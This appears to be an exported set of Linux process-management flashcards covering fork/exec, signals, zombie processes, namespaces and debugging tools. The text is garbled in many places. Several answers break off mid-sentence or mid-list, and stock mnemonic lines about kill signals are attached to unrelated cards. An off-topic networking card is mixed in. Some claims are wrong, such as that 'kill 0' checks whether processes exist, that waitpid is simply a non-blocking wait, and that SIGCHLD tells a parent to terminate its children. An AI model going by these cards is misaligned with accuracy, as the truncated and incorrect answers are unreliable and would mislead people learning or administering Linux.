Q: Why running a new program is done using the fork() and exec() system calls? why a different API wasn't developed where there is one call to run a new program?
A: This way provides a lot of flexibility. It allows the shell for example, to run code after the call to fork() but before the call to exec(). Such code can be used to alter the environment of the program it about to run.
Under the hood: fork()=duplicate parent, exec()=replace child memory. fork+exec=launch.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Explain the fork() system call]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
* [[What is the return value of fork()?]]
Q: Name one reason for fork() to fail
A: fork() can fail when there is not enough memory to create a new process, or when the user/system has hit the maximum process limit (check with <html><code>ulimit -u</code></html>).
Under the hood: fork() duplicates the parent process, then exec() replaces the child's memory image. Together, fork+exec is how Linux launches new programs. errno is set to ENOMEM or EAGAIN on failure.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[fork() is the Unix process creation primitive]]
* [[Explain the fork() system call]]
* [[What is the fork() system call?]]
Q: How to change the priority of a process? Why would you want to do that?
A: To change the priority of a process, you can use the nice command in Linux. The nice command allows you to specify the priority of a process by assigning a priority value ranging from -20 to 19. A higher value of priority means lower priority for the process, and vice versa.
Remember: Nice: -20(high) to 19(low). Higher nice = nicer to others = lower priority.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Nice values control CPU scheduling priority from -20 to +19]]
* [[What does the `nice` command do?]]
* [[Linux process management system calls]]
Q: How to limit processes to not exceed more than X% of CPU usage?
A: ''nice/renice''
nice is a great tool for 'one off' tweaks to a system:
<html><pre><code class="language-bash">nice COMMAND</code></pre></html>
''cpulimit''
cpulimit if you need to run a CPU intensive job and having free CPU time is essential for the responsiveness of a system:
<html><pre><code class="language-bash">cpulimit -l 50 COMMAND</code></pre></html>
''cgroups''
cgroups apply limits to a set of processes, rather than to just one:
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[Linux process management system calls]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
Q: How do you debug a hung process?
A: Step-by-step approach:
# ''Identify state'': <html><code>ps aux | grep PID</code></html> - check state column (D=uninterruptible, S=sleeping, R=running)
# ''Trace syscalls'':
<html><pre><code class="language-bash">strace -p PID</code></pre></html>
Shows what syscall it's blocked on.
# ''Check kernel stack'':
<html><pre><code class="language-bash">cat /proc/PID/stack</code></pre></html>
Shows where in kernel the process is waiting.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Use /proc/PID/stack and wchan to see what syscall a process is blocked on]]
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
Q: How do you diagnose a stuck process?
A: Inspect what the process is waiting on, check scheduling state, and capture stack context.
* <html><code>/proc/<pid>/stat</code></html> or <html><code>ps -o stat</code></html> to confirm D (uninterruptible) vs R/S state.
* <html><code>/proc/<pid>/wchan</code></html> – kernel wait channel for the blocking point.
* <html><code>/proc/<pid>/stack</code></html> – kernel stack trace for I/O waits.
* <html><code>strace -p</code></html> – see which syscall is blocked.
* <html><code>gdb -p</code></html> or <html><code>pstack</code></html> – userspace backtrace when not in kernel wait.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
Q: SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.
A: - ''SIGHUP'' - is sent to a process when its controlling terminal is closed. It was originally designed to notify the process of a serial line drop (a hangup). Many daemons will reload their configuration files and reopen their logfiles instead of exiting when receiving this signal.
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What signal number is SIGTERM?]]
* [[What signal number is SIGKILL?]]
* [[What are the different ways to send signals to processes, and when would you use each?]]
Q: What signal does the <html><code>kill</code></html> command send by default, and how does it differ from SIGKILL?
A: By default, <html><code>kill</code></html> sends SIGTERM (signal 15). This is a "soft" kill that allows
the process to catch the signal and perform cleanup operations before terminating.
SIGKILL (signal 9) is different because:
* It cannot be caught, blocked, or ignored by the process
* The kernel immediately terminates the process
* No cleanup handlers run, which can lead to data corruption
* Use <html><code>kill -9 PID</code></html> o
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What signal number is SIGINT?]]
* [[The signal escalation sequence and critical process lifecycle patterns]]
* [[What is SIGSTOP?]]
Q: What if <html><code>kill -9</code></html> does not work? Describe exceptions for which the use of SIGKILL is insufficient.
A: <html><code>kill -9</code></html> (<html><code>SIGKILL</code></html>) always works, provided you have the permission to kill the process. Basically either the process must be started by you and not be setuid or setgid, or you must be root. There is one exception: even root cannot send a fatal signal to PID 1 (the init process).
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does `kill 0` do in Linux process management?]]
* [[What signal number is SIGTERM?]]
* [[What are the different ways to send signals to processes, and when would you use each?]]
Q: How to get rid of zombie processes?
A: You can't kill a zombie process the regular way with <html><code>kill -9</code></html> for example as it's already dead.
One way to kill zombie process is by sending SIGCHLD to the parent process telling it to terminate its child processes. This might not work if the parent process wasn't programmed properly. The invocation is <html><code>kill -s SIGCHLD [parent_pid]</code></html>
You can also try closing/terminating the parent process.
Remember: Zombie = done but parent didn't wait(). Uses only PID entry. Can't kill it.
Gotcha: Fix parent or kill parent → init adopts and reaps zombies.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Orphans are adopted by init; zombies are dead and unconditionally unkillable]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
A zombie is a dead process awaiting parent reap—it has already exited and cannot be killed because it is not running. Sending SIGTERM or SIGKILL to a zombie has no effect. The fix is to address the parent: the parent process is responsible for calling <html><code>wait()</code></html> on its children to reap them and free the PID table slot. Diagnosis: use <html><code>ps -eo pid,ppid,stat,user,comm | awk '$3 ~ /^Z/'</code></html> to find zombies and their parent PIDs. The first remediation attempt is to send SIGCHLD to the parent as a hint to reap its dead children: <html><code>kill -CHLD <parent_pid></code></html>. If zombies persist after SIGCHLD, the parent is buggy or not running <html><code>wait()</code></html> properly—kill the parent with <html><code>kill -TERM <parent_pid></code></html>. PID 1 (init or systemd) automatically adopts the orphaned zombie children and reaps them, freeing the PID slots. Verify the fix with <html><code>ps -eo stat | grep -c Z</code></html>, which should return 0 once zombies are gone. This is a common problem in containerized applications where PID 1 is not a proper init system.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/street_ops.md</code></html>
''Related atoms''
* [[What is a zombie/defunct process?]]
* [[Linux process state codes and their operational meaning]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
Q: Tell me everything you know about the Linux boot process
A: Another way to ask this: what happens from the moment you turned on the server until you get a prompt
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Walk through the Linux Boot Process (High Level).]]
* [[What is the init process?]]
* [[What can be found in /proc/cmdline?]]
Q: Explain the pipe() system call. What does it used for?
A: [[Unix pipe implementation|https://toroid.org/unix-pipe-implementation]]
"Pipes provide a unidirectional interprocess communication channel. A pipe has a read end and a write end. Data written to the write end of a pipe can be read from the read end of the pipe.
A pipe is created using pipe(2), which returns two file descriptors, one referring to the read end of the pipe, the other referring to the write end."
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does the execve() system call do in Linux?]]
* [[What does `set -o pipefail` do?]]
Q: Explain Process Descriptor and Task Structure
A: The task_struct is the kernel's representation of a process/thread.
Process Descriptor (task_struct):
* Kernel data structure for each process/thread
* Contains all process information
* Defined in include/linux/sched.h
Key fields:
* state: Running, sleeping, stopped, etc.
* pid, tgid: Process and thread group IDs
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Can you describe how processes are being created?]]
* [[What is the difference between a process and a thread?]]
* [[Linux process management system calls]]
Q: What is a zombie/defunct process?
A: Is a process that has completed execution (via the <html><code>exit</code></html> system call) but still has an entry in the process table: it is a process in the "''Terminated state''".
Processes marked ''defunct'' are dead processes (so-called "zombies") that remain because their parent has not destroyed them properly. These processes will be destroyed by init if the parent process exits.
Remember: Zombie = done but parent didn't wait(). Uses only PID entry. Can't kill it.
Gotcha: Fix parent or kill parent → init adopts and reaps zombies.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Zombies cannot be killed; fix or kill the parent instead]]
* [[What is an orphan process?]]
Q: What is the difference between a "Zombie" process and an "Orphan" process?
A: Both involve parent-child process relationships but are fundamentally different states.
Orphan Process:
* A LIVE process whose parent has terminated
* Automatically adopted by init (PID 1) or systemd
* Continues executing normally
* Not a problem - this is normal process lifecycle
* Example: Parent exits before child completes
Zombie Process:
Remember: Zombie = done but parent didn't wait(). Uses only PID entry. Can't kill it.
Gotcha: Fix parent or kill parent → init adopts and reaps zombies.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is an orphan process?]]
* [[How to get rid of zombie processes?]]
* [[What is a zombie process?]]
Q: Explain the exec() system call
A: It transforms the current running program into another program.
Given the name of an executable and some arguments, it loads the code and static data from the specified executable and overwrites its current code segment and current static code data. After initializing its memory space (like stack and heap) the OS runs the program passing any arguments as the argv of that process.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[What is the exec() family of system calls?]]
* [[Explain Process Descriptor and Task Structure]]
Q: What does the execve() system call do in Linux?
A: Executes a program. The program is passed as a filename (or path) and must be a binary executable or a script.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[Can you describe how processes are being created?]]
* [[What is the exec() family of system calls?]]
Q: How a program executes a system call?
A: - A program executes a trap instruction. The instruction jump into the kernel while raising the privileged level to kernel space.
* Once in kernel space, it can perform any privileged operation
* Once it's finished, it calls a "return-from-trap" instruction which returns to user space while reducing back the privilege level to user space.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[System call (syscall): user-space to kernel interface]]
* [[Can you describe how processes are being created?]]
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
Q: True or False? A successful call to exec() never returns
A: True
Since a successful exec replace the current process, it can't return anything to the process that made the call.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[How a program executes a system call?]]
* [[What is an exit code? What exit codes are you familiar with?]]
Q: Describe how to make a certain process/app a service
A: The process will need a <html><code>.service</code></html> file to be created at the location <html><code>/etc/systemd/system/service-name.service</code></html> to be made into a service. The file has certain characteristics and need certain inputs to work. More details here.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Program, process, and service are three distinct layers]]
* [[Can you describe how processes are being created?]]
* [[Kill a process locking or writing to a file]]
Q: What is a Daemon in Linux?
A: A background process. Most of these processes are waiting for requests or set of conditions to be met before actually running anything.
Some examples: sshd, crond, rpcbind.
Remember: Daemon = background, no terminal. Modern: let systemd manage it.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is systemd and how does it manage Linux services?]]
Q: What is the advantage of executing the running processes in the background? How can you do that?
A: The most significant advantage of executing the running process in the background is that you can do any other task simultaneously while other processes are running in the background. So, more processes can be completed in the background while you are working on different processes. It can be achieved by adding a special character <html><code>&</code></html> at the end of the command.
Remember: Ctrl+Z=suspend, bg=background, fg=foreground, jobs=list. &=start in background.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How do you suspend a running foreground process and then resume it in the background?]]
* [[How to run a process in the background and why to do that in the first place?]]
* [[What is job control?]]
Q: What are cgroups (control groups) and how does Linux use them for resource limits?
A: cgroups (Control Groups) limit and monitor resource usage for process groups.
Control:
* CPU time/shares
* Memory limits
* I/O bandwidth
* Network priority
* Device access
Use cases:
Remember: <html><code>ps aux</code></html>(BSD, %CPU/%MEM) vs <html><code>ps -ef</code></html>(UNIX, PPID). Both show all processes.
Example: <html><code>ps aux --sort=-%mem | head</code></html> — top memory consumers.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are cgroups?]]
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
Q: <html><code>ls -l</code></html> shows file attributes as question marks. What this means and what steps will you take to remove unused "zombie" files?
A: This problem may be more difficult to solve because several steps may be required - sometimes you have get <html><code>test/file: Permission denied</code></html>, <html><code>test/file: No such file or directory</code></html> or <html><code>test/file: Input/output error</code></html>.
Remember: <html><code>ps aux</code></html>(BSD, %CPU/%MEM) vs <html><code>ps -ef</code></html>(UNIX, PPID). Both show all processes.
Example: <html><code>ps aux --sort=-%mem | head</code></html> — top memory consumers.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are hidden files/directories? How to list them?]]
* [[Deleted open files hold disk space until last fd closes]]
* [[Name at least five attributes every Linux process has.]]
Q: How do you trace a system call in Linux? Explain the possible methods.
A: ''SystemTap''
This is the most powerful method. It can even show the call arguments:
Usage:
<html><pre><code class="language-bash">sudo apt-get install systemtap
sudo stap -e 'probe syscall.mkdir { printf("%s[%d] -> %s(%s)
", execname(), pid(), name, argstr) }'</code></pre></html>
Then on another terminal:
<html><pre><code class="language-bash">sudo rm -rf /tmp/a /tmp/b
mkdir /tmp/a
mkdir /tmp/b</code></pre></html>
Sample output:
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[System call (syscall): user-space to kernel interface]]
* [[Explain the exec() system call]]
* [[Using system call tracing to debug when application logs are unhelpful]]
Q: Can you describe how processes are being created?
A: In Linux, processes are created via fork() and exec():
# fork() - Creates child process
** Duplicates parent process
** Child gets copy of memory (copy-on-write)
** Child has new PID
** Returns 0 in child, child PID in parent
# exec() - Replaces process image
** Loads new program into memory
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Linux process management system calls]]
* [[Explain Process Descriptor and Task Structure]]
* [[What is a process, and how do you list processes in Linux?]]
Q: How can you print information on the BIOS, motherboard, processor and RAM?
A: <html><code>dmidecode</code></html> (note: not 'dmidecoode'). It reads SMBIOS/DMI data from the BIOS: <html><code>dmidecode -t bios</code></html> for BIOS info, <html><code>-t baseboard</code></html> for motherboard, <html><code>-t processor</code></html>, <html><code>-t memory</code></html>. Requires root.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `dmidecode`?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[What can be found in /proc/cmdline?]]
Q: What is the meaning of the error <html><code>maxproc limit exceeded by uid %i ...</code></html> in FreeBSD?
A: The FreeBSD kernel will only allow a certain number of processes to exist at one time. The number is based on the ''kern.maxusers'' variable.
''kern.maxusers'' also affects various other in-kernel limits, such as network buffers. If the machine is heavily loaded, increase ''kern.maxusers''. This will increase these other system limits in addition to the maximum number of processes.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[Modern Linux supports 4 million PIDs via kernel.pid_max tuning]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
Q: True or False? In a child PID namespace all processes are aware of parent PID namespace and processes and the parent PID namespace has no visibility of child PID namespace processes
A: False. The opposite is true. Parent PID namespace is aware and has visibility of processes in child PID namespace and child PID namespace has no visibility as to what is going on in the parent PID namespace.
Remember: PID 1=init/systemd. $$=current, $PPID=parent. <html><code>pidof name</code></html> finds PIDs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
* [[How the waitpid() is different from wait()?]]
* [[Linux namespaces isolate process visibility across seven distinct resource types]]
Q: What is the init process?
A: It is the first process executed by the kernel during the booting of a system. It is a daemon process which runs till the system is shutdown. That is why, it is the parent of all the processes
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Can you describe how processes are being created?]]
* [[What does the execve() system call do in Linux?]]
* [[Explain Process Descriptor and Task Structure]]
Q: What time namespaces are used for?
A: In time namespaces processes can use different system time.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What types of namespaces are there in Linux?]]
* [[True or False? With UTS namespaces, processes may appear to have different hostnames.]]
* [[Explain Process Descriptor and Task Structure]]
Q: Why do we need the wait() system call?
A: wait() is used by a parent process to wait for the child process to finish execution.
If wait is not used by a parent process then a child process might become a zombie process.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Linux process management system calls]]
* [[How the waitpid() is different from wait()?]]
* [[What does the execve() system call do in Linux?]]
Q: What is <html><code>strace</code></html> command and how should be used? Explain example of connect to an already running process.
A: <html><code>strace</code></html> is a powerful command line tool for debugging and troubleshooting programs in Unix-like operating systems such as Linux. It captures and records all system calls made by a process and the signals received by the process.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Explain the exec() system call]]
* [[What does the execve() system call do in Linux?]]
* [[Is it safe to attach the `strace` to a running process on the production? What are the …]]
Q: Explain the fork() system call
A: fork() is used for creating a new process. It does so by cloning the calling process but the child process has its own PID and any memory locks, I/O operations and semaphores are not inherited.
Under the hood: fork()=duplicate parent, exec()=replace child memory. fork+exec=launch.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the return value of fork()?]]
* [[Name one reason for fork() to fail]]
* [[Why running a new program is done using the fork() and exec() system calls? why a diffe…]]
Q: Describe the fork-exec-wait process lifecycle in Linux.
A: 1) fork(): parent creates a child (near-exact copy with new PID). 2) exec(): child replaces its memory with a new program (PID stays the same). 3) exit(): child terminates, becomes a zombie. 4) wait(): parent collects exit status, zombie is reaped, PID is freed. Every process follows this pattern. PID 1 is the only exception (no parent).
Under the hood: fork()=duplicate parent, exec()=replace child memory. fork+exec=launch.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Linux process management system calls]]
* [[Can you describe how processes are being created?]]
Q: What are segmentation faults (segfaults), and how can identify what's causing them?
A: A ''segmentation fault'' (aka //segfault//) is a common condition that causes programs to crash. Segfaults are caused by a program trying to read or write an illegal memory location.
Program memory is divided into different segments:
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is SIGSEGV?]]
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
Q: What does <html><code>kill 0</code></html> do in Linux process management?
A: kill 0 sends a signal to all processes in the current process group. It is used to check if the processes exist or not
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[What signal number is SIGKILL?]]
* [[What signal number is SIGTERM?]]
Q: How the waitpid() is different from wait()?
A: The waitpid() is a non-blocking version of the wait() function.
It also supports using library routine (e.g. system()) to wait a child process without messing up with other children processes for which the process has not waited.
Remember: PID 1=init/systemd. $$=current, $PPID=parent. <html><code>pidof name</code></html> finds PIDs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Why do we need the wait() system call?]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
Q: A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely what state those tasks are in and why they count toward load.
A: The tasks are in D state (uninterruptible sleep), waiting on I/O completion rather than CPU.
Key points:
* D state processes are waiting on block layer or filesystem operations
* Typical causes: NFS hangs, slow SAN, hung device, journal flush
* Linux load average includes both runnable (R) AND uninterruptible (D) processes
* This is why load can be high while CPU is idle - tasks are blocked
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Load average is processes in runnable or uninterruptible sleep state]]
* [[Load average is a blunt instrument without resource decomposition]]
* [[Linux load average includes blocked I/O, not just runnable processes]]
Q: True or False? With UTS namespaces, processes may appear to have different hostnames.
A: TRUE.
UTS namespace isolates:
* Hostname (nodename)
* Domain name (NIS domain)
Each UTS namespace can have different:
* hostname (set with hostname command)
* uname output
Use cases:
* Containers have own hostname
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What types of namespaces are there in Linux?]]
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
* [[Name at least five attributes every Linux process has.]]
Q: Where can you find information on the processor (like number of CPUs)?
A: /proc/cpuinfo
You can also use <html><code>nproc</code></html> for number of processors
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does `/proc/cpuinfo` contain?]]
* [[What kind of information one can find in /proc?]]
* [[What is the `lscpu` command?]]
Q: Name at least five attributes every Linux process has.
A: PID, memory mappings, open file descriptors, credentials (UID/GID), environment variables, and scheduling state (running, sleeping, etc.).
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is a process, and how do you list processes in Linux?]]
* [[Explain Process Descriptor and Task Structure]]
* [[What types of namespaces are there in Linux?]]
Q: What is Software-Defined Networking (SDN), and how does it impact data center architecture?
A: Software-Defined Networking (SDN) is an architectural approach that separates the control plane from the data plane in networking devices, enabling centralized network management through software. **Key Components:* • SDN comprises a centralized controller, which communicates with network devices, and the data plane, responsible for forwarding traffic based on controller instructions. • OpenFlow Protocol: SDN often employs the OpenFlow protocol, allowing the controller to communicate with network devices and dictate their behavior.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `ip netns`?]]
Q: How do you suspend a running foreground process and then resume it in the background?
A: Press Ctrl+Z to suspend the foreground process (sends SIGTSTP, puts it in Stopped state). Then use bg %1 to resume it in the background. Use jobs -l to list all jobs with their status and PIDs. Use fg %1 to bring it back to the foreground.
Remember: Ctrl+Z=suspend, bg=background, fg=foreground, jobs=list. &=start in background.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the advantage of executing the running processes in the background? How can you…]]
* [[What is job control?]]
Q: How do you ensure a process survives terminal logout?
A: Use nohup ./script.sh > /var/log/output.log 2>&1 & to ignore SIGHUP (sent when the terminal closes). Modern alternatives: tmux or screen for interactive sessions, or systemd-run --unit=my-task for permanent background tasks. The shell sends SIGHUP to all children on exit, which kills them without protection.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Difference between `nohup`, `disown`, and `&`. What happens when using all together?]]
* [[Process groups and sessions organize signals across process trees]]
* [[How to exit without saving shell history?]]
Q: How do you find the open file descriptors and file descriptor count for a running process?
A: List open file descriptors: ls -la /proc/<PID>/fd/. Count them: ls /proc/<PID>/fd/ | wc -l. The /proc filesystem is a virtual filesystem exposing kernel process state as files. You can also check resource limits with cat /proc/<PID>/limits to see the max open files limit.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
* [[What is the maximum number of file descriptors per process?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
Q: What are the most common ulimit-related production failures, and how do you fix them?
